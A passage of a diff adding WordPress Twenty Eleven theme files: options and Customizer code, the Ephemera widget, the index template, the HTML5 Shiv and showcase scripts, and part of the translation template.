+	<input type="text" name="twentyeleven_theme_options[link_color]" id="link-color" value="<?php echo esc_attr( $options['link_color'] ); ?>" />
+	<a href="#" class="pickcolor hide-if-no-js" id="link-color-example"></a>
+	<input type="button" class="pickcolor button hide-if-no-js" value="<?php esc_attr_e( 'Select a Color', 'twentyeleven' ); ?>" />
+	<div id="colorPickerDiv" style="z-index: 100; background:#eee; border:1px solid #ccc; position:absolute; display:none;"></div>
+	<br />
+	<span><?php printf( __( 'Default color: %s', 'twentyeleven' ), '<span id="default-color">' . twentyeleven_get_default_link_color( $options['color_scheme'] ) . '</span>' ); ?></span>
+	<?php
+}
+
+/**
+ * Render the Layout setting field.
+ *
+ * @since Twenty Eleven 1.3
+ */
+function twentyeleven_settings_field_layout() {
+	$options = twentyeleven_get_theme_options();
+	foreach ( twentyeleven_layouts() as $layout ) {
+		?>
+		<div class="layout image-radio-option theme-layout">
+		<label class="description">
+			<input type="radio" name="twentyeleven_theme_options[theme_layout]" value="<?php echo esc_attr( $layout['value'] ); ?>" <?php checked( $options['theme_layout'], $layout['value'] ); ?> />
+			<span>
+				<img src="<?php echo esc_url( $layout['thumbnail'] ); ?>" width="136" height="122" alt="" />
+				<?php echo esc_html( $layout['label'] ); ?>
+			</span>
+		</label>
+		</div>
+		<?php
+	}
+}
+
+/**
+ * Render the theme options page for Twenty Eleven.
+ *
+ * @since Twenty Eleven 1.2
+ */
+function twentyeleven_theme_options_render_page() {
+	?>
+	<div class="wrap">
+		<?php screen_icon(); ?>
+		<?php $theme_name = function_exists( 'wp_get_theme' ) ? wp_get_theme() : get_current_theme(); ?>
+		<h2><?php printf( __( '%s Theme Options', 'twentyeleven' ), $theme_name ); ?></h2>
+		<?php settings_errors(); ?>
+
+		<form method="post" action="options.php">
+			<?php
+				settings_fields( 'twentyeleven_options' );
+				do_settings_sections( 'theme_options' );
+				submit_button();
+			?>
+		</form>
+	</div>
+	<?php
+}
+
+/**
+ * Sanitize and validate form input.
+ *
+ * Accepts an array, return a sanitized array.
+ *
+ * @see twentyeleven_theme_options_init()
+ * @todo set up Reset Options action
+ *
+ * @since Twenty Eleven 1.0
+ *
+ * @param array $input An array of form input.
+ */
+function twentyeleven_theme_options_validate( $input ) {
+	$output = $defaults = twentyeleven_get_default_theme_options();
+
+	// Color scheme must be in our array of color scheme options
+	if ( isset( $input['color_scheme'] ) && array_key_exists( $input['color_scheme'], twentyeleven_color_schemes() ) )
+		$output['color_scheme'] = $input['color_scheme'];
+
+	// Our defaults for the link color may have changed, based on the color scheme.
+	$output['link_color'] = $defaults['link_color'] = twentyeleven_get_default_link_color( $output['color_scheme'] );
+
+	// Link color must be 3 or 6 hexadecimal characters
+	if ( isset( $input['link_color'] ) && preg_match( '/^#?([a-f0-9]{3}){1,2}$/i', $input['link_color'] ) )
+		$output['link_color'] = '#' . strtolower( ltrim( $input['link_color'], '#' ) );
+
+	// Theme layout must be in our array of theme layout options
+	if ( isset( $input['theme_layout'] ) && array_key_exists( $input['theme_layout'], twentyeleven_layouts() ) )
+		$output['theme_layout'] = $input['theme_layout'];
+
+	/**
+	 * Filter the Twenty Eleven sanitized form input array.
+	 *
+	 * @since Twenty Eleven 1.0
+	 *
+	 * @param array $output   An array of sanitized form output.
+	 * @param array $input    An array of un-sanitized form input.
+	 * @param array $defaults An array of default theme options.
+	 */
+	return apply_filters( 'twentyeleven_theme_options_validate', $output, $input, $defaults );
+}
+
+/**
+ * Enqueue the styles for the current color scheme.
+ *
+ * @since Twenty Eleven 1.0
+ */
+function twentyeleven_enqueue_color_scheme() {
+	$options = twentyeleven_get_theme_options();
+	$color_scheme = $options['color_scheme'];
+
+	if ( 'dark' == $color_scheme )
+		wp_enqueue_style( 'dark', get_template_directory_uri() . '/colors/dark.css', array(), null );
+
+	/**
+	 * Fires after the styles for the Twenty Eleven color scheme are enqueued.
+	 *
+	 * @since Twenty Eleven 1.0
+	 *
+	 * @param string $color_scheme The color scheme.
+	 */
+	do_action( 'twentyeleven_enqueue_color_scheme', $color_scheme );
+}
+add_action( 'wp_enqueue_scripts', 'twentyeleven_enqueue_color_scheme' );
+
+/**
+ * Add a style block to the theme for the current link color.
+ *
+ * This function is attached to the wp_head action hook.
+ *
+ * @since Twenty Eleven 1.0
+ */
+function twentyeleven_print_link_color_style() {
+	$options = twentyeleven_get_theme_options();
+	$link_color = $options['link_color'];
+
+	$default_options = twentyeleven_get_default_theme_options();
+
+	// Don't do anything if the current link color is the default.
+	if ( $default_options['link_color'] == $link_color )
+		return;
+?>
+	<style>
+		/* Link color */
+		a,
+		#site-title a:focus,
+		#site-title a:hover,
+		#site-title a:active,
+		.entry-title a:hover,
+		.entry-title a:focus,
+		.entry-title a:active,
+		.widget_twentyeleven_ephemera .comments-link a:hover,
+		section.recent-posts .other-recent-posts a[rel="bookmark"]:hover,
+		section.recent-posts .other-recent-posts .comments-link a:hover,
+		.format-image footer.entry-meta a:hover,
+		#site-generator a:hover {
+			color: <?php echo $link_color; ?>;
+		}
+		section.recent-posts .other-recent-posts .comments-link a:hover {
+			border-color: <?php echo $link_color; ?>;
+		}
+		article.feature-image.small .entry-summary p a:hover,
+		.entry-header .comments-link a:hover,
+		.entry-header .comments-link a:focus,
+		.entry-header .comments-link a:active,
+		.feature-slider a.active {
+			background-color: <?php echo $link_color; ?>;
+		}
+	</style>
+<?php
+}
+add_action( 'wp_head', 'twentyeleven_print_link_color_style' );
+
+/**
+ * Add Twenty Eleven layout classes to the array of body classes.
+ *
+ * @since Twenty Eleven 1.0
+ *
+ * @param array $existing_classes An array of existing body classes.
+ */
+function twentyeleven_layout_classes( $existing_classes ) {
+	$options = twentyeleven_get_theme_options();
+	$current_layout = $options['theme_layout'];
+
+	if ( in_array( $current_layout, array( 'content-sidebar', 'sidebar-content' ) ) )
+		$classes = array( 'two-column' );
+	else
+		$classes = array( 'one-column' );
+
+	if ( 'content-sidebar' == $current_layout )
+		$classes[] = 'right-sidebar';
+	elseif ( 'sidebar-content' == $current_layout )
+		$classes[] = 'left-sidebar';
+	else
+		$classes[] = $current_layout;
+
+	/**
+	 * Filter the Twenty Eleven layout body classes.
+	 *
+	 * @since Twenty Eleven 1.0
+	 *
+	 * @param array  $classes        An array of body classes.
+	 * @param string $current_layout The current theme layout.
+	 */
+	$classes = apply_filters( 'twentyeleven_layout_classes', $classes, $current_layout );
+
+	return array_merge( $existing_classes, $classes );
+}
+add_filter( 'body_class', 'twentyeleven_layout_classes' );
+
+/**
+ * Implements Twenty Eleven theme options into Customizer
+ *
+ * @since Twenty Eleven 1.3
+ *
+ * @param object $wp_customize Customizer object.
+ */
+function twentyeleven_customize_register( $wp_customize ) {
+	$wp_customize->get_setting( 'blogname' )->transport = 'postMessage';
+	$wp_customize->get_setting( 'blogdescription' )->transport = 'postMessage';
+	$wp_customize->get_setting( 'header_textcolor' )->transport = 'postMessage';
+
+	if ( isset( $wp_customize->selective_refresh ) ) {
+		$wp_customize->selective_refresh->add_partial( 'blogname', array(
+			'selector' => '#site-title a',
+			'container_inclusive' => false,
+			'render_callback' => 'twentyeleven_customize_partial_blogname',
+		) );
+		$wp_customize->selective_refresh->add_partial( 'blogdescription', array(
+			'selector' => '#site-description',
+			'container_inclusive' => false,
+			'render_callback' => 'twentyeleven_customize_partial_blogdescription',
+		) );
+	}
+
+	$options  = twentyeleven_get_theme_options();
+	$defaults = twentyeleven_get_default_theme_options();
+
+	$wp_customize->add_setting( 'twentyeleven_theme_options[color_scheme]', array(
+		'default'    => $defaults['color_scheme'],
+		'type'       => 'option',
+		'capability' => 'edit_theme_options',
+	) );
+
+	$schemes = twentyeleven_color_schemes();
+	$choices = array();
+	foreach ( $schemes as $scheme ) {
+		$choices[ $scheme['value'] ] = $scheme['label'];
+	}
+
+	$wp_customize->add_control( 'twentyeleven_color_scheme', array(
+		'label'    => __( 'Color Scheme', 'twentyeleven' ),
+		'section'  => 'colors',
+		'settings' => 'twentyeleven_theme_options[color_scheme]',
+		'type'     => 'radio',
+		'choices'  => $choices,
+		'priority' => 5,
+	) );
+
+	// Link Color (added to Color Scheme section in Customizer)
+	$wp_customize->add_setting( 'twentyeleven_theme_options[link_color]', array(
+		'default'           => twentyeleven_get_default_link_color( $options['color_scheme'] ),
+		'type'              => 'option',
+		'sanitize_callback' => 'sanitize_hex_color',
+		'capability'        => 'edit_theme_options',
+	) );
+
+	$wp_customize->add_control( new WP_Customize_Color_Control( $wp_customize, 'link_color', array(
+		'label'    => __( 'Link Color', 'twentyeleven' ),
+		'section'  => 'colors',
+		'settings' => 'twentyeleven_theme_options[link_color]',
+	) ) );
+
+	// Default Layout
+	$wp_customize->add_section( 'twentyeleven_layout', array(
+		'title'    => __( 'Layout', 'twentyeleven' ),
+		'priority' => 50,
+	) );
+
+	$wp_customize->add_setting( 'twentyeleven_theme_options[theme_layout]', array(
+		'type'              => 'option',
+		'default'           => $defaults['theme_layout'],
+		'sanitize_callback' => 'sanitize_key',
+	) );
+
+	$layouts = twentyeleven_layouts();
+	$choices = array();
+	foreach ( $layouts as $layout ) {
+		$choices[ $layout['value'] ] = $layout['label'];
+	}
+
+	$wp_customize->add_control( 'twentyeleven_theme_options[theme_layout]', array(
+		'section'    => 'twentyeleven_layout',
+		'type'       => 'radio',
+		'choices'    => $choices,
+	) );
+}
+add_action( 'customize_register', 'twentyeleven_customize_register' );
+
+/**
+ * Render the site title for the selective refresh partial.
+ *
+ * @since Twenty Eleven 2.4
+ * @see twentyeleven_customize_register()
+ *
+ * @return void
+ */
+function twentyeleven_customize_partial_blogname() {
+	bloginfo( 'name' );
+}
+
+/**
+ * Render the site tagline for the selective refresh partial.
+ *
+ * @since Twenty Eleven 2.4
+ * @see twentyeleven_customize_register()
+ *
+ * @return void
+ */
+function twentyeleven_customize_partial_blogdescription() {
+	bloginfo( 'description' );
+}
+
+/**
+ * Bind JS handlers to make Customizer preview reload changes asynchronously.
+ *
+ * Used with blogname and blogdescription.
+ *
+ * @since Twenty Eleven 1.3
+ */
+function twentyeleven_customize_preview_js() {
+	wp_enqueue_script( 'twentyeleven-customizer', get_template_directory_uri() . '/inc/theme-customizer.js', array( 'customize-preview' ), '20150401', true );
+}
+add_action( 'customize_preview_init', 'twentyeleven_customize_preview_js' );
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/inc/widgets.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/inc/widgets.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/inc/widgets.php	(revision 56912)
@@ -0,0 +1,189 @@
+<?php
+/**
+ * Widget For displaying post format posts
+ *
+ * Handles displaying Aside, Link, Status, and Quote Posts available with Twenty Eleven.
+ *
+ * @link https://codex.wordpress.org/Widgets_API#Developing_Widgets
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+class Twenty_Eleven_Ephemera_Widget extends WP_Widget {
+
+	/**
+	 * PHP5 constructor.
+	 *
+	 * @since Twenty Eleven 2.2
+	 */
+	function __construct() {
+		parent::__construct( 'widget_twentyeleven_ephemera', __( 'Twenty Eleven Ephemera', 'twentyeleven' ), array(
+			'classname'   => 'widget_twentyeleven_ephemera',
+			'description' => __( 'Use this widget to list your recent Aside, Status, Quote, and Link posts', 'twentyeleven' ),
+			'customize_selective_refresh' => true,
+		) );
+		$this->alt_option_name = 'widget_twentyeleven_ephemera';
+
+		add_action( 'save_post', array( &$this, 'flush_widget_cache' ) );
+		add_action( 'deleted_post', array( &$this, 'flush_widget_cache' ) );
+		add_action( 'switch_theme', array( &$this, 'flush_widget_cache' ) );
+	}
+
+	/**
+	 * PHP4 constructor.
+	 *
+	 * @since Twenty Eleven 1.0
+	 */
+	function Twenty_Eleven_Ephemera_Widget() {
+		self::__construct();
+	}
+
+	/**
+	 * Outputs the HTML for this widget.
+	 *
+	 * @since Twenty Eleven 1.0
+	 *
+	 * @param array $args     An array of standard parameters for widgets in this theme.
+	 * @param array $instance An array of settings for this widget instance.
+	 **/
+	function widget( $args, $instance ) {
+		$cache = wp_cache_get( 'widget_twentyeleven_ephemera', 'widget' );
+
+		if ( ! is_array( $cache ) )
+			$cache = array();
+
+		if ( ! isset( $args['widget_id'] ) )
+			$args['widget_id'] = null;
+
+		if ( ! is_customize_preview() && isset( $cache[ $args['widget_id'] ] ) ) {
+			echo $cache[ $args['widget_id'] ];
+			return;
+		}
+
+		ob_start();
+		extract( $args, EXTR_SKIP );
+
+		/** This filter is documented in wp-includes/default-widgets.php */
+		$args['title'] = apply_filters( 'widget_title', empty( $instance['title'] ) ? __( 'Ephemera', 'twentyeleven' ) : $instance['title'], $instance, $this->id_base );
+
+		if ( ! isset( $instance['number'] ) )
+			$instance['number'] = '10';
+
+		if ( ! $args['number'] = absint( $instance['number'] ) )
+			$args['number'] = 10;
+
+		$ephemera_args = array(
+			'order'          => 'DESC',
+			'posts_per_page' => $args['number'],
+			'no_found_rows'  => true,
+			'post_status'    => 'publish',
+			'post__not_in'   => get_option( 'sticky_posts' ),
+			'tax_query'      => array(
+				array(
+					'taxonomy' => 'post_format',
+					'terms'    => array( 'post-format-aside', 'post-format-link', 'post-format-status', 'post-format-quote' ),
+					'field'    => 'slug',
+					'operator' => 'IN',
+				),
+			),
+		);
+		$ephemera = new WP_Query( $ephemera_args );
+
+		if ( $ephemera->have_posts() ) :
+			echo $args['before_widget'];
+			echo $args['before_title'];
+			echo $args['title'];
+			echo $args['after_title'];
+			?>
+			<ol>
+			<?php while ( $ephemera->have_posts() ) : $ephemera->the_post(); ?>
+
+				<?php if ( 'link' != get_post_format() ) : ?>
+
+				<li class="widget-entry-title">
+					<a href="<?php echo esc_url( get_permalink() ); ?>" rel="bookmark"><?php the_title(); ?></a>
+					<span class="comments-link">
+						<?php comments_popup_link( __( '0 <span class="reply">comments &rarr;</span>', 'twentyeleven' ), __( '1 <span class="reply">comment &rarr;</span>', 'twentyeleven' ), __( '% <span class="reply">comments &rarr;</span>', 'twentyeleven' ) ); ?>
+					</span>
+				</li>
+
+				<?php else : ?>
+
+				<li class="widget-entry-title">
+					<a href="<?php echo esc_url( twentyeleven_get_first_url() ); ?>" rel="bookmark"><?php the_title(); ?>&nbsp;<span>&rarr;</span></a>
+					<span class="comments-link">
+						<?php comments_popup_link( __( '0 <span class="reply">comments &rarr;</span>', 'twentyeleven' ), __( '1 <span class="reply">comment &rarr;</span>', 'twentyeleven' ), __( '% <span class="reply">comments &rarr;</span>', 'twentyeleven' ) ); ?>
+					</span>
+				</li>
+
+				<?php endif; ?>
+
+			<?php endwhile; ?>
+			</ol>
+			<?php
+
+			echo $args['after_widget'];
+
+			// Reset the post globals as this query will have stomped on it
+			wp_reset_postdata();
+
+		// end check for ephemeral posts
+		endif;
+
+		$cache[ $args['widget_id'] ] = ob_get_flush();
+		if ( ! is_customize_preview() ) {
+			wp_cache_set( 'widget_twentyeleven_ephemera', $cache, 'widget' );
+		}
+
+	}
+
+	/**
+	 * Update widget settings.
+	 *
+	 * Deals with the settings when they are saved by the admin. Here is
+	 * where any validation should be dealt with.
+	 *
+	 * @since Twenty Eleven 1.0
+	 **/
+	function update( $new_instance, $old_instance ) {
+		$instance = $old_instance;
+		$instance['title'] = strip_tags( $new_instance['title'] );
+		$instance['number'] = (int) $new_instance['number'];
+		$this->flush_widget_cache();
+
+		$alloptions = wp_cache_get( 'alloptions', 'options' );
+		if ( isset( $alloptions['widget_twentyeleven_ephemera'] ) )
+			delete_option( 'widget_twentyeleven_ephemera' );
+
+		return $instance;
+	}
+
+	/**
+	 * Flush widget cache.
+	 *
+	 * @since Twenty Eleven 1.0
+	 */
+	function flush_widget_cache() {
+		wp_cache_delete( 'widget_twentyeleven_ephemera', 'widget' );
+	}
+
+	/**
+	 * Set up the widget form.
+	 *
+	 * Displays the form for this widget on the Widgets page of the WP Admin area.
+	 *
+	 * @since Twenty Eleven 1.0
+	 **/
+	function form( $instance ) {
+		$title = isset( $instance['title']) ? esc_attr( $instance['title'] ) : '';
+		$number = isset( $instance['number'] ) ? absint( $instance['number'] ) : 10;
+?>
+			<p><label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php _e( 'Title:', 'twentyeleven' ); ?></label>
+			<input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>" name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>" type="text" value="<?php echo esc_attr( $title ); ?>" /></p>
+
+			<p><label for="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"><?php _e( 'Number of posts to show:', 'twentyeleven' ); ?></label>
+			<input id="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>" name="<?php echo esc_attr( $this->get_field_name( 'number' ) ); ?>" type="text" value="<?php echo esc_attr( $number ); ?>" size="3" /></p>
+		<?php
+	}
+}
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/index.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/index.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/index.php	(revision 56912)
@@ -0,0 +1,52 @@
+<?php
+/**
+ * Main template file
+ *
+ * This is the most generic template file in a WordPress theme
+ * and one of the two required files for a theme (the other being style.css).
+ * It is used to display a page when nothing more specific matches a query.
+ * E.g., it puts together the home page when no home.php file exists.
+ * Learn more: https://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ */
+
+get_header(); ?>
+
+		<div id="primary">
+			<div id="content" role="main">
+
+			<?php if ( have_posts() ) : ?>
+
+				<?php twentyeleven_content_nav( 'nav-above' ); ?>
+
+				<?php /* Start the Loop */ ?>
+				<?php while ( have_posts() ) : the_post(); ?>
+
+					<?php get_template_part( 'content', get_post_format() ); ?>
+
+				<?php endwhile; ?>
+
+				<?php twentyeleven_content_nav( 'nav-below' ); ?>
+
+			<?php else : ?>
+
+				<article id="post-0" class="post no-results not-found">
+					<header class="entry-header">
+						<h1 class="entry-title"><?php _e( 'Nothing Found', 'twentyeleven' ); ?></h1>
+					</header><!-- .entry-header -->
+
+					<div class="entry-content">
+						<p><?php _e( 'Apologies, but no results were found for the requested archive. Perhaps searching will help find a related post.', 'twentyeleven' ); ?></p>
+						<?php get_search_form(); ?>
+					</div><!-- .entry-content -->
+				</article><!-- #post-0 -->
+
+			<?php endif; ?>
+
+			</div><!-- #content -->
+		</div><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/js/html5.js
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/js/html5.js	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/js/html5.js	(revision 56912)
@@ -0,0 +1,8 @@
+/*
+ HTML5 Shiv v3.7.0 | @afarkas @jdalton @jon_neal @rem | MIT/GPL2 Licensed
+*/
+(function(l,f){function m(){var a=e.elements;return"string"==typeof a?a.split(" "):a}function i(a){var b=n[a[o]];b||(b={},h++,a[o]=h,n[h]=b);return b}function p(a,b,c){b||(b=f);if(g)return b.createElement(a);c||(c=i(b));b=c.cache[a]?c.cache[a].cloneNode():r.test(a)?(c.cache[a]=c.createElem(a)).cloneNode():c.createElem(a);return b.canHaveChildren&&!s.test(a)?c.frag.appendChild(b):b}function t(a,b){if(!b.cache)b.cache={},b.createElem=a.createElement,b.createFrag=a.createDocumentFragment,b.frag=b.createFrag();
+a.createElement=function(c){return!e.shivMethods?b.createElem(c):p(c,a,b)};a.createDocumentFragment=Function("h,f","return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&("+m().join().replace(/[\w\-]+/g,function(a){b.createElem(a);b.frag.createElement(a);return'c("'+a+'")'})+");return n}")(e,b.frag)}function q(a){a||(a=f);var b=i(a);if(e.shivCSS&&!j&&!b.hasCSS){var c,d=a;c=d.createElement("p");d=d.getElementsByTagName("head")[0]||d.documentElement;c.innerHTML="x<style>article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}mark{background:#FF0;color:#000}template{display:none}</style>";
+c=d.insertBefore(c.lastChild,d.firstChild);b.hasCSS=!!c}g||t(a,b);return a}var k=l.html5||{},s=/^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,r=/^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,j,o="_html5shiv",h=0,n={},g;(function(){try{var a=f.createElement("a");a.innerHTML="<xyz></xyz>";j="hidden"in a;var b;if(!(b=1==a.childNodes.length)){f.createElement("a");var c=f.createDocumentFragment();b="undefined"==typeof c.cloneNode||
+"undefined"==typeof c.createDocumentFragment||"undefined"==typeof c.createElement}g=b}catch(d){g=j=!0}})();var e={elements:k.elements||"abbr article aside audio bdi canvas data datalist details dialog figcaption figure footer header hgroup main mark meter nav output progress section summary template time video",version:"3.7.0",shivCSS:!1!==k.shivCSS,supportsUnknownElements:g,shivMethods:!1!==k.shivMethods,type:"default",shivDocument:q,createElement:p,createDocumentFragment:function(a,b){a||(a=f);
+if(g)return a.createDocumentFragment();for(var b=b||i(a),c=b.frag.cloneNode(),d=0,e=m(),h=e.length;d<h;d++)c.createElement(e[d]);return c}};l.html5=e;q(f)})(this,document);
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/js/showcase.js
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/js/showcase.js	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/js/showcase.js	(revision 56912)
@@ -0,0 +1,17 @@
+(function($) {
+	$(document).ready( function() {
+	    $('.feature-slider a').click(function(e) {
+	        $('.featured-posts section.featured-post').css({
+	            opacity: 0,
+	            visibility: 'hidden'
+	        });
+	        $(this.hash).css({
+	            opacity: 1,
+	            visibility: 'visible'
+	        });
+	        $('.feature-slider a').removeClass('active');
+	        $(this).addClass('active');
+	        e.preventDefault();
+	    });
+	});
+})(jQuery);
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/languages/twentyeleven.pot
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/languages/twentyeleven.pot	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/languages/twentyeleven.pot	(revision 56912)
@@ -0,0 +1,628 @@
+# Copyright (C) 2019 the WordPress team
+# This file is distributed under the GNU General Public License v2 or later.
+msgid ""
+msgstr ""
+"Project-Id-Version: Twenty Eleven 3.1\n"
+"Report-Msgid-Bugs-To: https://wordpress.org/support/theme/twentyeleven\n"
+"POT-Creation-Date: 2019-01-02 18:09:07+00:00\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"PO-Revision-Date: 2019-MO-DA HO:MI+ZONE\n"
+"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
+"Language-Team: LANGUAGE <LL@li.org>\n"
+
+#: 404.php:17
+msgid "This is somewhat embarrassing, isn&rsquo;t it?"
+msgstr ""
+
+#: 404.php:21
+msgid "It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps searching, or one of the links below, can help."
+msgstr ""
+
+#: 404.php:28
+msgid "Most Used Categories"
+msgstr ""
+
+#. translators: %1$s: smilie
+
+#: 404.php:46
+msgid "Try looking in the monthly archives. %1$s"
+msgstr ""
+
+#: archive.php:25
+msgid "Daily Archives: %s"
+msgstr ""
+
+#: archive.php:27
+msgid "Monthly Archives: %s"
+msgstr ""
+
+#: archive.php:27
+msgctxt "monthly archives date format"
+msgid "F Y"
+msgstr ""
+
+#: archive.php:29
+msgid "Yearly Archives: %s"
+msgstr ""
+
+#: archive.php:29
+msgctxt "yearly archives date format"
+msgid "Y"
+msgstr ""
+
+#: archive.php:31
+msgid "Blog Archives"
+msgstr ""
+
+#: archive.php:60 author.php:90 category.php:64 index.php:40 search.php:47
+#: tag.php:65
+msgid "Nothing Found"
+msgstr ""
+
+#: archive.php:64 author.php:94 category.php:68 index.php:44 tag.php:69
+msgid "Apologies, but no results were found for the requested archive. Perhaps searching will help find a related post."
+msgstr ""
+
+#: author.php:29
+msgid "Author Archives: %s"
+msgstr ""
+
+#: author.php:61 content-single.php:70
+msgid "About %s"
+msgstr ""
+
+#: category.php:20
+msgid "Category Archives: %s"
+msgstr ""
+
+#: comments.php:17
+msgid "This post is password protected. Enter the password to view any comments."
+msgstr ""
+
+#: comments.php:35
+msgid "One thought on &ldquo;%2$s&rdquo;"
+msgid_plural "%1$s thoughts on &ldquo;%2$s&rdquo;"
+msgstr[0] ""
+msgstr[1] ""
+
+#: comments.php:44 comments.php:65
+msgid "Comment navigation"
+msgstr ""
+
+#: comments.php:45 comments.php:66
+msgid "&larr; Older Comments"
+msgstr ""
+
+#: comments.php:46 comments.php:67
+msgid "Newer Comments &rarr;"
+msgstr ""
+
+#: comments.php:78
+msgid "Comments are closed."
+msgstr ""
+
+#: content-aside.php:19
+msgid "Aside"
+msgstr ""
+
+#: content-aside.php:24 content-image.php:23 content-link.php:24
+#: content-quote.php:24 content-status.php:24 content.php:30
+msgid "Reply"
+msgstr ""
+
+#: content-aside.php:24 content-image.php:23 content-link.php:24
+#: content-quote.php:24 content-status.php:24 content.php:30
+msgctxt "comments number"
+msgid "1"
+msgstr ""
+
+#: content-aside.php:24 content-image.php:23 content-link.php:24
+#: content-quote.php:24 content-status.php:24 content.php:30
+msgctxt "comments number"
+msgid "%"
+msgstr ""
+
+#: content-aside.php:35 content-gallery.php:34 content-image.php:29
+#: content-link.php:35 content-quote.php:35 content-status.php:48
+#: content.php:41 functions.php:457
+msgid "Continue reading <span class=\"meta-nav\">&rarr;</span>"
+msgstr ""
+
+#: content-aside.php:39 content-featured.php:26 content-gallery.php:61
+#: content-image.php:33 content-intro.php:21 content-link.php:39
+#: content-page.php:21 content-quote.php:39 content-single.php:27
+#: content-status.php:52 content.php:45 image.php:119
+msgid "Pages:"
+msgstr ""
+
+#: content-aside.php:51 content-gallery.php:103 content-image.php:75
+#: content-link.php:51 content-quote.php:81 content-status.php:64
+#: content.php:91 showcase.php:214
+msgid "Leave a reply"
+msgstr ""
+
+#: content-aside.php:51 content-gallery.php:103 content-image.php:75
+#: content-link.php:51 content-quote.php:81 content-status.php:64
+#: content.php:91 showcase.php:214
+msgid "<b>1</b> Reply"
+msgstr ""
+
+#: content-aside.php:51 content-gallery.php:103 content-image.php:75
+#: content-link.php:51 content-quote.php:81 content-status.php:64
+#: content.php:91 showcase.php:214
+msgid "<b>%</b> Replies"
+msgstr ""
+
+#: content-aside.php:53 content-featured.php:52 content-gallery.php:106
+#: content-image.php:79 content-intro.php:26 content-link.php:53
+#: content-page.php:28 content-quote.php:84 content-single.php:59
+#: content-status.php:66 content.php:94 functions.php:710 functions.php:741
+#: image.php:45
+msgid "Edit"
+msgstr ""
+
+#. translators: used between list items, there is a space after the comma
+
+#: content-featured.php:36 content-featured.php:45 content-gallery.php:73
+#: content-gallery.php:85 content-image.php:57 content-image.php:66
+#: content-quote.php:51 content-quote.php:63 content-single.php:37
+#: content-single.php:40 content.php:58 content.php:72
+msgid ", "
+msgstr ""
+
+#: content-featured.php:38
+msgid "This entry was posted in %1$s and tagged %2$s. Bookmark the <a href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark\">permalink</a>."
+msgstr ""
+
+#: content-featured.php:40
+msgid "This entry was posted in %1$s. Bookmark the <a href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark\">permalink</a>."
+msgstr ""
+
+#: content-gallery.php:19
+msgid "Gallery"
+msgstr ""
+
+#: content-gallery.php:49
+msgid "This gallery contains <a %1$s>%2$s photo</a>."
+msgid_plural "This gallery contains <a %1$s>%2$s photos</a>."
+msgstr[0] ""
+msgstr[1] ""
+
+#: content-gallery.php:50 showcase.php:128
+msgid "Permalink to %s"
+msgstr ""
+
+#: content-gallery.php:78 content-image.php:61 content-quote.php:56
+#: content.php:63
+msgid "<span class=\"%1$s\">Posted in</span> %2$s"
+msgstr ""
+
+#: content-gallery.php:93 content-image.php:70 content-quote.php:71
+#: content.php:80
+msgid "<span class=\"%1$s\">Tagged</span> %2$s"
+msgstr ""
+
+#: content-image.php:18
+msgid "Image"
+msgstr ""
+
+#: content-image.php:44
+msgid "<a href=\"%1$s\" rel=\"bookmark\"><time class=\"entry-date\" datetime=\"%2$s\">%3$s</time></a><span class=\"by-author\"> <span class=\"sep\"> by </span> <span class=\"author vcard\"><a class=\"url fn n\" href=\"%4$s\" title=\"%5$s\" rel=\"author\">%6$s</a></span></span>"
+msgstr ""
+
+#: content-image.php:49 functions.php:791
+msgid "View all posts by %s"
+msgstr ""
+
+#: content-link.php:19
+msgid "Link"
+msgstr ""
+
+#: content-quote.php:15
+msgid "Quote"
+msgstr ""
+
+#: content-single.php:42
+msgid "This entry was posted in %1$s and tagged %2$s by <a href=\"%6$s\">%5$s</a>. Bookmark the <a href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark\">permalink</a>."
+msgstr ""
+
+#: content-single.php:44
+msgid "This entry was posted in %1$s by <a href=\"%6$s\">%5$s</a>. Bookmark the <a href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark\">permalink</a>."
+msgstr ""
+
+#: content-single.php:46
+msgid "This entry was posted by <a href=\"%6$s\">%5$s</a>. Bookmark the <a href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark\">permalink</a>."
+msgstr ""
+
+#: content-single.php:74
+msgid "View all posts by %s <span class=\"meta-nav\">&rarr;</span>"
+msgstr ""
+
+#: content-status.php:19
+msgid "Status"
+msgstr ""
+
+#: content.php:16
+msgid "Featured"
+msgstr ""
+
+#: footer.php:34
